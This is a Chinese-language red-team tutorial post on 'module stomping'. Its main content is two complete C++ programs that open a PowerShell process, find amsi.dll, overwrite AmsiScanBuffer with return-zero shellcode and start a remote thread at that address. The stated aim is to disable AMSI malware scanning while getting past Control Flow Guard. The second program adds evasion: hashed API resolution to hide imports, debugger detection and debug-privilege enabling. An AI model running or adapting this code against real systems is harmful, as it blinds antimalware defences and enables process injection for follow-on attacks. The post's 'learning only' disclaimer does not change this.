第七章:模块踩踏以覆写导出函数绕过CFG

大家好,你们可以叫我凌。

我们本篇文章来讲讲模块踩踏技术,模块踩踏是网络红队当中算是中级偏高级的技术,实现门槛中等,比进程注入、进程镂空更加高级和隐蔽。

本篇是关于模块踩踏的安全技术文章,仅仅用于技术学习和讨论。


CodeCave注入 vs ModuleStomping

我们上篇文章讲到了代码洞注入,也就是 Code Cave 注入,那现在我们就来先对比下两项技术。

|----------|---------------------------------------|-------------------------|
| 对比项 | Code Cave 注入 | Module Stomping |
| 写入位置 | .text 节末尾的 padding(0x00/0xCC) | 已有导出函数的代码开头 |
| 写入目标 | 无人使用的空地 | 一个有名字、有地址、CFG 认 账的函数 |
| CFG 检查结果 | 拒绝(不是合法函数入口) | 放行(是合法函数入口) |
| 副作用 | 无(没覆盖任何东西) | 原函数被破坏,调用它会执行 Shellcode |
| 需要的 API | WriteProcessMemory+CreateRemoteThread | 同左,但多了步"查导出函数 地址" |

**总结:**Code Cave 是在非法内存进行写入,CFG 会强行阻止;Module Stomping 覆写已有函数,因为已有函数的内存在 CFG 白名单当中,所以 CFG 不会进行干扰。

涉及的核心结构体

以下仅作精简介绍,详情见微软官方文档。

IMAGE_DOS_HEADER(DOS头)

cpp 复制代码
typedef struct _IMAGE_DOS_HEADER {
    WORD   e_magic;                     // MZ标记 0x5a4d 
     // ... 省略中间字段
    LONG   e_lfanew;                    // NT头(PE标记)相对于文件的偏移地址
  } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

用途:校验PE文件有效性,读取 e_lfanew 跳转到NT头。

IMAGE_NT_HEADERS(NT头)

cpp 复制代码
typedef struct _IMAGE_NT_HEADERS {
   DWORD Signature;
   IMAGE_FILE_HEADER FileHeader;
   IMAGE_OPTIONAL_HEADER OptionalHeader;
} IMAGE_NT_HEADERS, *PIMAGE_NT_HEADERS;

用途:读取 OptionalHeader.DataDirectory0 获取导出表RVA。

IMAGE_EXPORT_DIRECTORY

cpp 复制代码
typedef struct _IMAGE_EXPORT_DIRECTORY {              
    DWORD   Characteristics;   
    DWORD   TimeDateStamp;
    WORD    MajorVersion;
    WORD    MinorVersion;
    DWORD   Name;
    DWORD   Base;
    DWORD   NumberOfFunctions;
    DWORD   NumberOfNames;
    DWORD   AddressOfFunctions;     
    DWORD   AddressOfNames;  
    DWORD   AddressOfNameOrdinals;
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;              

用途:解析远程 amsi.dll 的导出表,定位 AmsiScanBuffer 的地址。

MODULEINFO(模块信息,可选)

cpp 复制代码
typedef struct _MODULEINFO {
  LPVOID lpBaseOfDll;
  DWORD  SizeOfImage;
  LPVOID EntryPoint;
} MODULEINFO, *LPMODULEINFO;

用途:GetModuleInformation 返回

涉及的关键宏与常量

|------------------------------|------------|-------------------|
| 宏/常量 | 值 | 作用 |
| IMAGE_DOS_SIGNATURE | 0x5A4D | 校验DOS头("MZ") |
| IMAGE_NT_SIGNATURE | 0x00004550 | 校验NT头("PE\0\0") |
| IMAGE_DIRECTORY_ENTRY_EXPORT | 0 | 数据目录索引:导出表 |
| PROCESS_VM_READ | 0x0010 | 允许读取进程内存 |
| PROCESS_VM_WRITE | 0x0020 | 允许写入进程内存 |
| PROCESS_VM_OPERATION | 0x0008 | 允许修改进程内存属性 |
| PROCESS_QUERY_INFORMATION | 0x0400 | 允许查询进程信息 |
| PROCESS_CREATE_THREAD | 0x0002 | 允许创建远程线程 |
| PAGE_EXECUTE_READ | 0x20 | 可读可执行 |

涉及的API函数

进程与模块枚举类

OpenProcess

cpp 复制代码
HANDLE OpenProcess( 
[in] DWORD dwDesiredAccess, 
[in] BOOL  bInheritHandle, 
[in] DWORD dwProcessId 
); 

in dwDesiredAccess

对进程对象的访问权限。此访问权限将根据进程的安全描述符进行检查。此参数可以是一 个或多个进程访问权限的任意组合。如果调用方已启用 SeDebugPrivilege 特权,则无论 安全描述符的内容如何,都会授予所请求的访问权限。

in bInheritHandle

如果此值为TRUE,则由此进程创建的进程将继承该句柄。否则,进程将不会继承此句柄。

in dwProcessId

要打开的本地进程的标识符。

权限组合: PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD

**原因:**写入内存需要 VM_WRITE 和 VM_OPERATION,创建线程需要 CREATE_THREAD, 查询模块需要 QUERY_INFORMATION

EnumProcessModules

cpp 复制代码
BOOL EnumProcessModules( 
[in]  HANDLE  hProcess, 
[out] HMODULE *lphModule, 
[in]  DWORD   cb, 
[out] LPDWORD lpcbNeeded 
);

in hProcess

进程的句柄。

out lphModule

接收模块句柄列表的数组。 如果此参数为 NULL,则 cb 必须为 0,并且函数会将所需字节数返回给 lpcbNeeded。

in cb

lphModule 数组的大小,以字节为单位。如果 lphModule 为 NULL,则 cb 必须为 0。

out lpcbNeeded

在 lphModule 数组中存储所有模块句柄所需的字节数。 如果 lphModule 为 NULL,则此参数接收所需字节数。 如果 cb 太小,则此参数接收所需字节数。

**用途:**获取目标进程加载的所有模块

GetModuleBaseNameA

cpp 复制代码
DWORD GetModuleBaseNameA( 
[in]           HANDLE  hProcess, 
[in, optional] HMODULE hModule, 
[out]          LPSTR   lpBaseName,  
[in]           DWORD   nSize 
); 

in hProcess

包含模块的进程的句柄。

in, optional hModule

模块的句柄。如果此参数为 NULL,则此函数返回用于创建调用进程的文件的名称。

out lpBaseName

指向接收模块基名称的缓冲区的指针。 如果基名称长于 nSize 参数指定的最大字符数,则基名称将被截断。

in nSize

lpBaseName 缓冲区的大小,以字符为单位。

**用途:**获取模块文件名(如 "amsi.dll")

本地DLL加载与函数解析类

GetModuleHandleA

cpp 复制代码
HMODULE GetModuleHandleA( 
[in, optional] LPCSTR lpModuleName 
); 

in, optional lpModuleName

已加载模块的名称(.dll 或 .exe 文件)。

**用途:**如果本地已加载 amsi.dll,直接拿句柄。返回 NULL 表示未加载

LoadLibraryA

cpp 复制代码
HMODULE LoadLibraryA( 
[in] LPCSTR lpLibFileName 
); 

in lpLibFileName

模块的名称。可以是库模块(.dll 文件),也可以是可执行模块(.exe 文件)。

用途:本地未加载时,主动加载。加载后必须配对 FreeLibrary

GetProcAddress

cpp 复制代码
FARPROC GetProcAddress( 
[in] HMODULE hModule, 
[in] LPCSTR  lpProcName 
);

in hModule

包含函数或变量的DLL模块的句柄。

in lpProcName

函数或变量名称,或函数的序号值。

**用途:**拿到本地 AmsiScanBuffer 的地址,用于计算RVA

FreeLibrary

cpp 复制代码
BOOL FreeLibrary( 
[in] HMODULE hLibModule 
); 

in hLibModule

已加载的库模块的句柄。

**用途:**用完即焚,把本地加载的DLL卸载 注意:只卸载自己 LoadLibraryA 的,不卸载原本就有的

跨进程内存操作类

ReadProcessMemory

cpp 复制代码
BOOL ReadProcessMemory( 
[in]  HANDLE  hProcess, 
[in]  LPCVOID lpBaseAddress, 
[out] LPVOID  lpBuffer, 
[in]  SIZE_T  nSize, 
[out] SIZE_T  *lpNumberOfBytesRead 
); 

in hProcess

正在读取其内存的进程的句柄。该句柄必须具有对进程的PROCESS_VM_READ访问权限。

in lpBaseAddress

指向要从指定进程中读取的基址的指针。在进行任何数据传输之前,系统会验证基址和指 定大小的内存中的所有数据是否可读。如果不可访问,函数将失败。

out lpBuffer

指向一个缓冲区的指针,该缓冲区接收来自指定进程地址空间的内容。

in nSize

要从指定进程读取的字节数。

out lpNumberOfBytesRead

指向一个变量的指针,该变量接收传输到指定缓冲区的字节数。如果该参数LL,则该参数 被忽略。

**用途:**读取远程DOS头、NT头、导出表、函数名

WriteProcessMemory

cpp 复制代码
BOOL WriteProcessMemory( 
[in]  HANDLE  hProcess, 
[in]  LPVOID  lpBaseAddress, 
[in]  LPCVOID lpBuffer, 
[in]  SIZE_T  nSize, 
[out] SIZE_T  *lpNumberOfBytesWritten 
); 

**用途:**把Shellcode覆写到 AmsiScanBuffer 的地址

远程线程执行类

CreateRemoteThread

cpp 复制代码
HANDLE CreateRemoteThread( 
[in]  HANDLE                 hProcess, 
[in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes, 
[in]  SIZE_T                 dwStackSize, 
[in]  LPTHREAD_START_ROUTINE lpStartAddress, 
[in]  LPVOID                 
[in]  DWORD                  
[out] LPDWORD                
);

in hProcess

要在其中创建线程的进程句柄。

in lpThreadAttributes

指向 SECURITY_ATTRIBUTES 结构的指针,该结构指定新线程的安全描述符,并确定子进 程是否可以继承返回的句柄。如为 NULL,则线程将获取默认的安全描述符。

in dwStackSize

堆栈的初始大小(以字节为单位)。系统将此值舍入到最近的页面。 如果此参数为 0(零),则新线程使用可执行文件的默认大小。

in lpStartAddress

指向由线程执行的 LPTHREAD_START_ROUTINE 类型的应用程序定义的函数的指针,表示 远程进程中线程的起始地址。函数必须存在于远程进程中。

in lpParameter

指向要传递给线程函数的变量的指针。

in dwCreationFlags

控制线程创建的标志。这里用0:创建后,线程会立即运行。

out lpThreadId

指向接收线程标识符的变量的指针。如果此参数为 NULL,则不返回线程标识符。

**关键:**lpStartAddress 指向 AmsiScanBuffer 的地址(合法模块内),CFG会放行

WaitForSingleObject

cpp 复制代码
DWORD WaitForSingleObject( 
[in] HANDLE hHandle, 
[in] DWORD  dwMilliseconds 
); 

in hHandle

对象的句柄。

in dwMilliseconds

超时间隔,以毫秒为单位。

➢ 如果指定了非零值,函数会等待,直到对象处于信号状态或间隔结束。

➢ 如果 dwMilliseconds 为零,则当对象未处于信号状态时,函数不会进入等待状 态;它会立即返回。

➢ 如果 dwMilliseconds 为 INFINITE,则函数仅在对象处于信号状态时才返回。

GetExitCodeThread

cpp 复制代码
BOOL GetExitCodeThread( 
[in]  HANDLE  hThread, 
  [out] LPDWORD lpExitCode 
); 

in hThread

线程的句柄。

out lpExitCode

指向用于接收线程终止状态的变量的指针。

CloseHandle

cpp 复制代码
BOOL CloseHandle( 
  [in] HANDLE hObject 
); 

in hObject

打开对象的有效句柄。

完整利用链示例

第 1 步:打开目标进程

OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION |

PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD, FALSE, pid)

│

└── 拿到 hProcess

第 2 步:在目标进程找到 amsi.dll

EnumProcessModules(hProcess, modules, sizeof(modules), &needed)

│

└── 遍历 modules,用 GetModuleBaseNameA 匹配 "amsi.dll"

│

└── 拿到 hRemoteAmsi(远程 amsi.dll 基址)

第 3 步:计算远程 AmsiScanBuffer 地址(核心)

① GetModuleHandleA("amsi.dll") → 本地句柄(未加载则 LoadLibraryA)

② GetProcAddress(hLocalModule, "AmsiScanBuffer") → 本地函数地址

③ rva = pLocalFunc - hLocalModule(本地RVA)

④ pRemoteFunc = hRemoteAmsi + rva(远程绝对地址)

⑤ FreeLibrary(hLocalModule)(用完即焚)

│

└── 拿到 pRemoteFunc(远程 AmsiScanBuffer 地址)

第 4 步:覆写 AmsiScanBuffe r

WriteProcessMemory(hProcess, pRemoteFunc, shellcode, shellcodeSize, NULL)

│

└── AmsiScanBuffer 的代码被 Shellcode 替换

第 5 步:创建远程线程执行

CreateRemoteThread(hProcess, NULL, 0,

(LPTHREAD_START_ROUTINE)pRemoteFunc, NULL, 0, NULL)

│

└── CFG放行(因为 pRemoteFunc 在合法模块内)

第 6 步:等待并清理

WaitForSingleObject(hThread, INFINITE)

GetExitCodeThread(hThread, &exitCode)

CloseHandle(hThread)

CloseHandle(hProcess)

文字总结:

➢ 打开进程 → 获取足够权限的句柄

➢ 枚举模块 → 找到目标DLL(如 amsi.dll)

➢ 计算远程地址 → 本地RVA + 远程基址 = 远程函数地址(核心)

➢ 覆写函数 → 用Shellcode替换原函数代码

➢ 创建远程线程 → 入口点指向被覆写的函数(CFG放行)

➢ 等待清理 → 确保执行完毕,释放资源

代码示例

第一版:明文 API 实现

cpp 复制代码
#include <windows.h>
#include <psapi.h>
#include <iostream>
#include <iomanip>
#include <vector>

#pragma comment(lib, "psapi.lib")

// ================= 0. 配置 =================
unsigned char shellcode[] = {
    0x31, 0xC0,                     // xor eax, eax
    0xC3                            // ret
};
SIZE_T shellcodeSize = sizeof(shellcode);

// ================= 1. 侦察:找远程模块基址 =================
HMODULE FindRemoteModule(HANDLE hProcess, const char* dllName) {
    HMODULE modules[1024];
    DWORD needed = 0;
    if (!EnumProcessModules(hProcess, modules, sizeof(modules), &needed))
        return nullptr;

    DWORD count = needed / sizeof(HMODULE);
    for (DWORD i = 0; i < count; i++) {
        char name[MAX_PATH] = {0};
        if (GetModuleBaseNameA(hProcess, modules[i], name, MAX_PATH)) {
            if (_stricmp(name, dllName) == 0)
                return modules[i];
        }
    }
    return nullptr;
}

// ================= 2. 计算:利用本地 RVA 算出远程函数地址 =================
LPVOID GetRemoteProcAddress(HANDLE hProcess, HMODULE hRemoteModule, const char* dllName, const char* funcName) {
    // ① 本地加载对应 DLL(如果已加载则直接用)
    HMODULE hLocalModule = GetModuleHandleA(dllName);
    BOOL loaded = FALSE;
    if (!hLocalModule) {
        hLocalModule = LoadLibraryA(dllName);
        loaded = TRUE;
    }
    if (!hLocalModule) return nullptr;

    // ② 本地找函数地址
    FARPROC pLocalFunc = GetProcAddress(hLocalModule, funcName);
    if (!pLocalFunc) {
        if (loaded) FreeLibrary(hLocalModule);
        return nullptr;
    }

    // ③ 算 RVA(本地地址 - 本地基址)
    DWORD_PTR rva = (DWORD_PTR)pLocalFunc - (DWORD_PTR)hLocalModule;

    // ④ 算远程绝对地址(远程基址 + RVA)
    LPVOID pRemoteFunc = (LPVOID)((DWORD_PTR)hRemoteModule + rva);

    // ⑤ 用完即焚:把本地加载的 DLL 卸载掉
    if (loaded) FreeLibrary(hLocalModule);

    return pRemoteFunc;
}

// ================= 3. 执行:踩踏 =================
void StompAndExecute(HANDLE hProcess, LPVOID pRemoteFunc) {
    // ① 观察原字节(可选,方便调试)
    std::vector<BYTE> originalBytes(shellcodeSize, 0);
    SIZE_T bytesRead = 0;
    ReadProcessMemory(hProcess, pRemoteFunc, originalBytes.data(), sizeof(originalBytes), &bytesRead);

    std::cout << "[*] 原始前 8 字节: ";
    for (SIZE_T i = 0; i < 8 && i < bytesRead; i++)
        std::cout << std::hex << std::setw(2) << std::setfill('0') << (int)originalBytes[i] << " ";
    std::cout << std::dec << std::endl;

    // ② 鸠占鹊巢:覆写 Shellcode
    if (!WriteProcessMemory(hProcess, pRemoteFunc, shellcode, shellcodeSize, NULL)) {
        std::cerr << "[-] WriteProcessMemory 失败: " << GetLastError() << std::endl;
        return;
    }
    std::cout << "[+] Shellcode 覆写成功" << std::endl;

    // ③ CFG 放行:创建远程线程,入口点就是合法函数地址
    HANDLE hThread = CreateRemoteThread(
        hProcess, NULL, 0,
        (LPTHREAD_START_ROUTINE)pRemoteFunc,
        NULL, 0, NULL);
    if (!hThread) {
        std::cerr << "[-] CreateRemoteThread 失败: " << GetLastError() << std::endl;
        return;
    }
    std::cout << "[+] 远程线程创建成功,等待执行..." << std::endl;

    // ④ 等待执行完毕
    WaitForSingleObject(hThread, INFINITE);
    DWORD exitCode = 0;
    GetExitCodeThread(hThread, &exitCode);
    std::cout << "[+] 线程退出码: 0x" << std::hex << exitCode << std::endl;
    CloseHandle(hThread);
}

// ================= 4. main:主程序 =================
int main() {
    DWORD pid;
    std::cout << "[*] 请输入目标进程 PID(推荐 PowerShell): ";
    std::cin >> pid;

    HANDLE hProcess = OpenProcess(
        PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION |
        PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD,
        FALSE, pid);
    if (!hProcess) return 1;

    HMODULE hRemoteAmsi = FindRemoteModule(hProcess, "amsi.dll");
    if (!hRemoteAmsi) { CloseHandle(hProcess); return 1; }
    std::cout << "[+] 远程 amsi.dll 基址: 0x" << std::hex << (uintptr_t)hRemoteAmsi << std::dec << std::endl;

    LPVOID pRemoteFunc = GetRemoteProcAddress(hProcess, hRemoteAmsi, "amsi.dll", "AmsiScanBuffer");
    if (!pRemoteFunc) { CloseHandle(hProcess); return 1; }
    std::cout << "[+] 远程 AmsiScanBuffer 地址: 0x" << std::hex << (uintptr_t)pRemoteFunc << std::dec << std::endl;

    StompAndExecute(hProcess, pRemoteFunc);

    CloseHandle(hProcess);
    std::cout << "[+] 完成" << std::endl;
    system("pause");
    return 0;
}

第二版:无 IAT 版本

cpp 复制代码
#include <windows.h>
#include <iostream>
#include <vector>
#include <string>
#include "EnableDebugPrivilege.h"
#include "IsDebugging.h"
#include "Hash.h"
#include "GetProcAddress.h"

unsigned char shellcode[] = {
    0x31, 0xC0,                     // xor eax, eax
    0xC3                            // ret
};
SIZE_T shellcodeSize = sizeof(shellcode);

// ============================================================
// 函数指针类型定义
// ============================================================
typedef HANDLE (WINAPI *pOpenProcess)(DWORD, BOOL, DWORD);
typedef BOOL   (WINAPI *pEnumProcessModules)(HANDLE, HMODULE*, DWORD, LPDWORD);
typedef DWORD  (WINAPI *pGetModuleBaseNameA)(HANDLE, HMODULE, LPSTR, DWORD);
typedef BOOL   (WINAPI *pWriteProcessMemory)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
typedef HANDLE (WINAPI *pCreateRemoteThread)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T,
                                              LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD  (WINAPI *pWaitForSingleObject)(HANDLE, DWORD);
typedef BOOL   (WINAPI *pCloseHandle)(HANDLE);

// ============================================================
// 函数指针容器
// ============================================================
struct ApiFuncs {
    pOpenProcess           OpenProcess;
    pEnumProcessModules    EnumProcessModules;
    pGetModuleBaseNameA    GetModuleBaseNameA;
    pWriteProcessMemory    WriteProcessMemory;
    pCreateRemoteThread    CreateRemoteThread;
    pWaitForSingleObject   WaitForSingleObject;
    pCloseHandle           CloseHandle;
    bool                   valid;
};

__declspec(noinline) ApiFuncs InitApiFuncs() {
    ApiFuncs f{};
    DWORD hKernel32 = NHash32::hash("kernel32.dll");
    DWORD hPsapi    = NHash32::hash("psapi.dll");

    f.OpenProcess        = (pOpenProcess)       GetProcAddressEx(hKernel32, NHash32::hash("OpenProcess"));
    f.WriteProcessMemory = (pWriteProcessMemory)GetProcAddressEx(hKernel32, NHash32::hash("WriteProcessMemory"));
    f.CreateRemoteThread = (pCreateRemoteThread)GetProcAddressEx(hKernel32, NHash32::hash("CreateRemoteThread"));
    f.WaitForSingleObject= (pWaitForSingleObject)GetProcAddressEx(hKernel32, NHash32::hash("WaitForSingleObject"));
    f.CloseHandle        = (pCloseHandle)       GetProcAddressEx(hKernel32, NHash32::hash("CloseHandle"));

    f.EnumProcessModules = (pEnumProcessModules)GetProcAddressEx(hPsapi, NHash32::hash("EnumProcessModules"));
    f.GetModuleBaseNameA = (pGetModuleBaseNameA)GetProcAddressEx(hPsapi, NHash32::hash("GetModuleBaseNameA"));

    if (!f.EnumProcessModules)
        f.EnumProcessModules = (pEnumProcessModules)GetProcAddressEx(hKernel32, NHash32::hash("K32EnumProcessModules"));
    if (!f.GetModuleBaseNameA)
        f.GetModuleBaseNameA = (pGetModuleBaseNameA)GetProcAddressEx(hKernel32, NHash32::hash("K32GetModuleBaseNameA"));

    f.valid = f.OpenProcess && f.EnumProcessModules && f.GetModuleBaseNameA
           && f.WriteProcessMemory && f.CreateRemoteThread
           && f.WaitForSingleObject && f.CloseHandle;
    return f;
}

// ============================================================
// 在目标进程里按模块名找到模块基址
// ============================================================
__declspec(noinline)
HMODULE FindModuleByName(HANDLE hProcess, const ApiFuncs& f, const char* targetName) {
    HMODULE modules[1024];
    DWORD needed = 0;
    if (!f.EnumProcessModules(hProcess, modules, sizeof(modules), &needed))
        return nullptr;

    DWORD count = needed / sizeof(HMODULE);
    for (DWORD i = 0; i < count; i++) {
        char modName[MAX_PATH] = {0};
        f.GetModuleBaseNameA(hProcess, modules[i], modName, MAX_PATH);
        if (_stricmp(modName, targetName) == 0) {
            return modules[i];
        }
    }
    return nullptr;
}

// ============================================================
// 在主进程里解析远程 amsi.dll 的导出表,找到 AmsiScanBuffer 的地址
// 注意:这里需要跨进程读内存来解析导出表
// ============================================================
typedef BOOL (WINAPI *pReadProcessMemory)(HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T*);

__declspec(noinline)
LPVOID FindRemoteExport(HANDLE hProcess, pReadProcessMemory ReadProcessMemory,
                        HMODULE hRemoteModule, DWORD funcHash) {
    BYTE* remoteBase = (BYTE*)hRemoteModule;

    // ① 读远程 DOS 头
    BYTE localDos[0x40] = {0};
    if (!ReadProcessMemory(hProcess, remoteBase, localDos, 0x40, NULL))
        return nullptr;

    IMAGE_DOS_HEADER* pDos = (IMAGE_DOS_HEADER*)localDos;
    if (pDos->e_magic != IMAGE_DOS_SIGNATURE) return nullptr;

    // ② 读远程 NT 头
    BYTE localNt[0x108] = {0};
    if (!ReadProcessMemory(hProcess, remoteBase + pDos->e_lfanew,
                           localNt, 0x108, NULL))
        return nullptr;

    IMAGE_NT_HEADERS* pNt = (IMAGE_NT_HEADERS*)localNt;
    if (pNt->Signature != IMAGE_NT_SIGNATURE) return nullptr;

    DWORD expRva = pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    if (expRva == 0) return nullptr;

    // ③ 读远程导出表
    IMAGE_EXPORT_DIRECTORY localExport = {0};
    if (!ReadProcessMemory(hProcess, remoteBase + expRva,
                           &localExport, sizeof(localExport), NULL))
        return nullptr;

    DWORD numberOfNames = localExport.NumberOfNames;
    DWORD addressOfNames = localExport.AddressOfNames;
    DWORD addressOfNameOrdinals = localExport.AddressOfNameOrdinals;
    DWORD addressOfFunctions = localExport.AddressOfFunctions;

    // ④ 遍历名字数组
    for (DWORD i = 0; i < numberOfNames; i++) {
        DWORD nameRVA = 0;
        if (!ReadProcessMemory(hProcess,
                               remoteBase + addressOfNames + i * 4,
                               &nameRVA, 4, NULL))
            return nullptr;

        char funcName[256] = {0};
        if (!ReadProcessMemory(hProcess, remoteBase + nameRVA,
                               funcName, sizeof(funcName) - 1, NULL))
            return nullptr;

        if (NHash32::hash(funcName) == funcHash) {
            // 找到匹配,读序号
            WORD ordinal = 0;
            if (!ReadProcessMemory(hProcess,
                                   remoteBase + addressOfNameOrdinals + i * 2,
                                   &ordinal, 2, NULL))
                return nullptr;

            // 读函数 RVA
            DWORD funcRVA = 0;
            if (!ReadProcessMemory(hProcess,
                                   remoteBase + addressOfFunctions + ordinal * 4,
                                   &funcRVA, 4, NULL))
                return nullptr;

            return remoteBase + funcRVA;
        }
    }
    return nullptr;
}

// ============================================================
// 主流程
// ============================================================
int main() {
    EnableDebugPrivilege();

    if (IsDebuggingA()) {
        std::cerr << "[-] 检测到调试器" << std::endl;
        return 0;
    }

    ApiFuncs f = InitApiFuncs();
    if (!f.valid) {
        std::cerr << "[-] 函数解析失败" << std::endl;
        return 1;
    }
    std::cout << "[+] 所有函数解析成功" << std::endl;

    // 拿 ReadProcessMemory(这里用原生 API 简化,你可以改成哈希解析)
    pReadProcessMemory ReadProcessMemory = (pReadProcessMemory)
        GetProcAddressEx(NHash32::hash("kernel32.dll"),
                         NHash32::hash("ReadProcessMemory"));

    // 输入目标 PID(PowerShell 进程)
    DWORD pid;
    std::cout << "[*] 请输入 PowerShell 进程 PID: ";
    std::cin >> pid;

    HANDLE hProcess = f.OpenProcess(
        PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION |
        PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD,
        FALSE, pid);
    if (!hProcess) {
        std::cerr << "[-] OpenProcess 失败: " << GetLastError() << std::endl;
        return 1;
    }

    // ① 在目标进程里找到 amsi.dll
    HMODULE hAmsi = FindModuleByName(hProcess, f, "amsi.dll");
    if (!hAmsi) {
        std::cerr << "[-] 目标进程未加载 amsi.dll" << std::endl;
        f.CloseHandle(hProcess);
        return 1;
    }
    std::cout << "[+] amsi.dll 基址: 0x" << std::hex
              << (uintptr_t)hAmsi << std::dec << std::endl;

    // ② 解析远程 amsi.dll 的导出表,找到 AmsiScanBuffer
    LPVOID pAmsiScanBuffer = FindRemoteExport(
        hProcess, ReadProcessMemory, hAmsi,
        NHash32::hash("AmsiScanBuffer"));

    if (!pAmsiScanBuffer) {
        std::cerr << "[-] 未找到 AmsiScanBuffer" << std::endl;
        f.CloseHandle(hProcess);
        return 1;
    }
    std::cout << "[+] AmsiScanBuffer 地址: 0x" << std::hex
              << (uintptr_t)pAmsiScanBuffer << std::dec << std::endl;

    // ③ 用 WriteProcessMemory 覆写 AmsiScanBuffer
    if (!f.WriteProcessMemory(hProcess, pAmsiScanBuffer,
                              shellcode, shellcodeSize, NULL)) {
        std::cerr << "[-] WriteProcessMemory 失败: " << GetLastError() << std::endl;
        f.CloseHandle(hProcess);
        return 1;
    }
    std::cout << "[+] AmsiScanBuffer 已被覆写" << std::endl;

    // ④ 创建远程线程,入口点指向 AmsiScanBuffer
    //   注:CFG 会放行,因为这是合法导出函数入口
    HANDLE hThread = f.CreateRemoteThread(
        hProcess, NULL, 0,
        (LPTHREAD_START_ROUTINE)pAmsiScanBuffer,
        NULL, 0, NULL);

    if (!hThread) {
        std::cerr << "[-] CreateRemoteThread 失败: " << GetLastError() << std::endl;
        f.CloseHandle(hProcess);
        return 1;
    }

    f.WaitForSingleObject(hThread, INFINITE);
    f.CloseHandle(hThread);
    f.CloseHandle(hProcess);

    std::cout << "[+] 模块踩踏完成!AMSI 已被打残。" << std::endl;
    system("pause");
    return 0;
}

对比实验:两版差异

其他必要知识点扩展

模块踩踏的核心优势

➢ 不分配新内存:内存扫描工具看不到异常的 PAGE_EXECUTE_READWRITE 页

➢ 不创建新模块:模块列表中看不到新增DLL

➢ CFG放行:入口点落在合法模块内,控制流保护不会拦截

为什么 AmsiScanBuffer 是经典目标

AMSI(Antimalware Scan Interface)是 Windows 的反恶意软件扫描接口:

➢ PowerShell、VBA、JScript 等脚本引擎调用 AmsiScanBuffer 扫描脚本内容

➢ 如果 AmsiScanBuffer 被覆写为 xor eax, eax; ret(返回 0),则所有脚本都会被判定为 "安全"

这是绕过AMSI检测的经典手法

典型Shellcode(本章使用):

cpp 复制代码
unsigned char shellcode[] = { 
0x31, 0xC0,   // xor eax, eax  → 返回 0(S_OK)
0xC3          // ret
}; 

模块踩踏绕CFG的原理:

➢ 入口点 pRemoteFunc 指向 amsi.dll 内的 AmsiScanBuffer

➢ CFG 检查时发现地址在合法模块内 → 放行

➢ 实际上该地址的代码已经被覆写为Shellcode

本地RVA + 远程基址 = 远程函数地址

核心公式:

远程函数地址 = 远程模块基址 + (本地函数地址 - 本地模块基址)

= 远程模块基址 + RVA

为什么成立

➢ 同一个DLL在不同进程中的RVA(相对虚拟地址)是相同的

➢ 因为PE文件的节区布局在编译时就确定了

➢ ASLR只改变基址,不改变RVA

相关推荐
miofly1 小时前
GitHub 今日推荐|ps2-web-recomp:浏览器里跑 PS2 游戏的静态重编译方案
c++·开源·github
黄一一9112431 小时前
吾爱大佬开发,离线可用!PDF文件处理工具,本地网页版文件-浏览器里就能搞定,所有操作系统可用
windows·安全·阿里云·pdf·.net·开源软件
沫璃染墨1 小时前
从零入门计算机网络系列(五):UDP套接字编程实战——从核心API到客户端与服务器通信
linux·网络·c++·vscode·网络协议·udp
hetao17338372 小时前
联盟场-提高组-R4 & ZYZSC-S-Round 7
c++·算法
郝学胜-神的一滴2 小时前
Web安全入门:读懂Web世界里的攻防
前端·网络·后端·安全·web安全·hibernate
看着博客敲代码2 小时前
enum4linux 报 Server doesn‘t allow session 与 SMB 主机信息枚举
linux·安全·网络安全
hetao17338372 小时前
联盟场-提高组-R2 & ZYZSC-S-Round 5
c++·算法
牛马工作号3 小时前
Docker Compose 部署 FreeRADIUS:从 AAA 原理到 Windows 有线 802.1X 认证实战
windows·docker·容器
X北辰北3 小时前
C++ 进阶第二阶段总结|STL容器全家桶、迭代器失效、STL算法、序列化入门(工程必备)
开发语言·c++·算法